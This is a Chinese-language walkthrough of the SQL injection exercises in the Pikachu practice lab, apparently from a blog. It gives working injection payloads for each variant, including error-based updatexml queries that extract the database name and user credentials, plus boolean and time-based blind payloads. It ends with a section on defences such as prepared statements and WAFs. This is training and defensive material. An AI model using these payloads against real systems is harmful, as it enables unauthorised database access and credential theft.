SQL Injection攻击流程

1.找到注入点,可以用web漏洞扫描工具自动找或者自己输入payload进行查找

2.通过注入点输入payload爆出信息,比如版本操作系统,表列字段的值

3.获取操作系统权限,通过数据库执行shell上传木马。

 

数字型注入post

因为是post,所以不会在URL中传参,我们可以抓包看一下

pikachu SQL Injection

 

 

 发送到repeater模块进行修改测试

尝试 1 or 1 = 1  状态是200,说明是正确的

pikachu SQL Injection

 

这里将所有的信息都爆了出来

 

 pikachu SQL Injection

 

 

确定有几列

payload:1 order by 3  正常回显,说明就这两列

pikachu SQL Injection

 

 

 确定回显字段:

payload: 0 union select 1,2  都可回显

pikachu SQL Injection

 

 

 剩下的操作和sqlilabs中的基本就一致了,爆库爆表爆字段爆字段值(虽然直接1 or 1=1

就已经把所有信息爆出来了,不过还是想操作一下~)

 

字符型注入get

随便输一个1,因为是get请求所以传参就在url里了

pikachu SQL Injection

 

 

 观察源码发现闭合为单引号闭合

pikachu SQL Injection

 

 

 payload:kobe' or 1 = 1 # 即可得到所有信息

pikachu SQL Injection

 

 

搜索型注入

在数据库中 搜索语句一般为:

select * from number where username like '%str%'

字符串会被  '%%'包裹

 

 观察源码,同样name参数从前端传过来也没有进行处理,用'%%'包裹

pikachu SQL Injection

 

所以只需要考虑闭合即可,下面给几个例子

1. like '%str%' or 1 = 1 #%'     

2. like '%%%%'

 

xx型注入

唯一不同的就是闭合变成了('')

所以注意闭合多加的括号即可

('xx') or 1 = 1 #')

pikachu SQL Injection

 

 

 

 insert/update注入

后面几个小模块基本是基于报错的注入,一般是前端没有屏蔽报错信息

一般常用的3个函数:

1.updatexml():在MySQL中对XML文档数据进行查询和修改的XPATH函数。

2.extractvalue():在MySQL中对XML文档数据进行查询的XPATH函数。

3.floor():MySQL中用来取整的函数。

如果XPathstring这里是一个表达式会先把表达式执行之后将结果通过报错回显出来

 

inert注入:前端输入的数据会通过后台insert数据进去

insert语句一般为:

insert into 表名(username,pw,sex) values('str',111,2,333,4)

我们主要是在str这里构造闭合,红色部分为payload。

insert into 表名(username,pw,sex) values('  1' or updatexml(1,concat(0x7e,database()),0)   or '  ',111,2,333,4)

可以获取数据库

pikachu SQL Injection

 

 

 

接下来update部分和insert部分是差不多的,我们先注册好一个账号进去登录

pikachu SQL Injection

 

 

还是在有字符型注入漏洞的地方,输入我们上面的payload

pikachu SQL Injection

 

 

 

delete注入

pikachu SQL Injection

 

 先删除一个留言抓包看一哈,应该是用id进行为关键字进行删除

pikachu SQL Injection

 

 将这个包发送到repeater 改包放包。

payload:id= 1 or updatexml(1, concat(0x7e,(select (concat_ws('-',username,password)) from pikachu.users limit 0,1)  ),1)

因为这个包是已经前端url处理过的,所以我们的payload也要进行url编码

这样后台才可以解析执行我们的payload

pikachu SQL Injection

 

 获得账号密码

pikachu SQL Injection

 

 

 

Http Header注入

指的是一种场景,开发人员为了验证客户端头部信息,或者通过头部获取客户端信息,

比如useragent、accept字段。会对客户端头部信息进行获取并使用SQL进行处理,

如果没有做安全处理会导致SQL注入的漏洞。

 

先登录这个模块,这里后台应该是已经获取了我们的头部信息

pikachu SQL Injection

 

 我们抓包发送到repeater模块看一下

pikachu SQL Injection

 

 在ua这里将内容清除 只输入单引号,发现报错,说明是获取了我们的头部的值了

pikachu SQL Injection

 

 所以数据库那里会有一个insert操作,我们输入上面insert构造的payload进行尝试:

firefpx' or updatexml(1,concat(0x7e,database()),0)   or '

pikachu SQL Injection

 

 同理在cookie那里输入同样的payload也是可以执行的

 

布尔盲注

在sqli-labs已经用过很多了,所以下面就给个例子,如果不会的可以看sqli-labs中

我写的关于盲注的部分,还算是比较详细。

payload:

kobe' and ascii(substr(database(),1,1))>113 #

可以看到报错了,因为p是112 所以<113 肯定会报错的,而报错注入就是根据输入

的payload的逻辑正确还是错误进行猜测,但是前提需要前端页面可以返回报错信息。

 pikachu SQL Injection

 

 

payload:

kobe' and ascii(substr(database(),1,1))=112 #

 pikachu SQL Injection

 

 

 

延时注入

布尔盲注是基于页面回显的正确还是错误

延时注入是根据页面是否执行sleep() 还是迅速回显来判断正误

这个我在sqli-labs中也是有写到,可以翻看我延时注入的blog

payload:(如果sleep5秒就是正确,否则直接返回页面)

kobe' and if((substr(database(),1,1))='p',sleep(5),null)#

 

SQL Injection注入漏洞防范

一般通过两个维度来防范

1.代码层面:

  ①对输入进行严格的过滤和转义

  ②使用预处理和参数化(Parameterized)

2.网络层面:

  ①通过WAF设备启用防SQL Injection注入策略

  ②云端防护(360,阿里云盾)

 

转义+过滤:mysqli_real_escape_string()转义过滤单双引号等

       str_replace("%","",$_POST['username']),把post里面的数据含有的%替换为空

预处理:使用PDO的prepare预处理(预处理+参数化)

    平常SQL注入的时候是直接将payload和参数进行拼接,而prepare

    先不传参数,先做预处理,比如下面的?就是一个参数化的占位符

    当传参的时候都会把我们输入的语句当作一个整体去处理,而不像

    我们之前那样可以进行闭合拼接。PDO默认情况会有两次交互,先

    将带有占位符的参数华语句传给后台,之后再传语句。这样基本杜绝

    了SQL注入的漏洞

pikachu SQL Injection

 

 

网络防护:WAF

  甲方通过部署WAF,如果攻击者注入payload也会先通过WAF,WAF会识别出

  不安全的请求然后阻拦掉这次请求。不仅是本地WAF,还有一些云WAF,还可    

  以进行DDOS(流量)清晰,SDN加速等。

    

 

相关文章:

  • 2021-10-13
  • 2021-10-18
  • 2021-12-24
  • 2021-06-11
  • 2021-08-19
猜你喜欢
  • 2021-04-22
  • 2021-05-18
  • 2022-12-23
  • 2021-06-14
  • 2021-05-23
相关资源
相似解决方案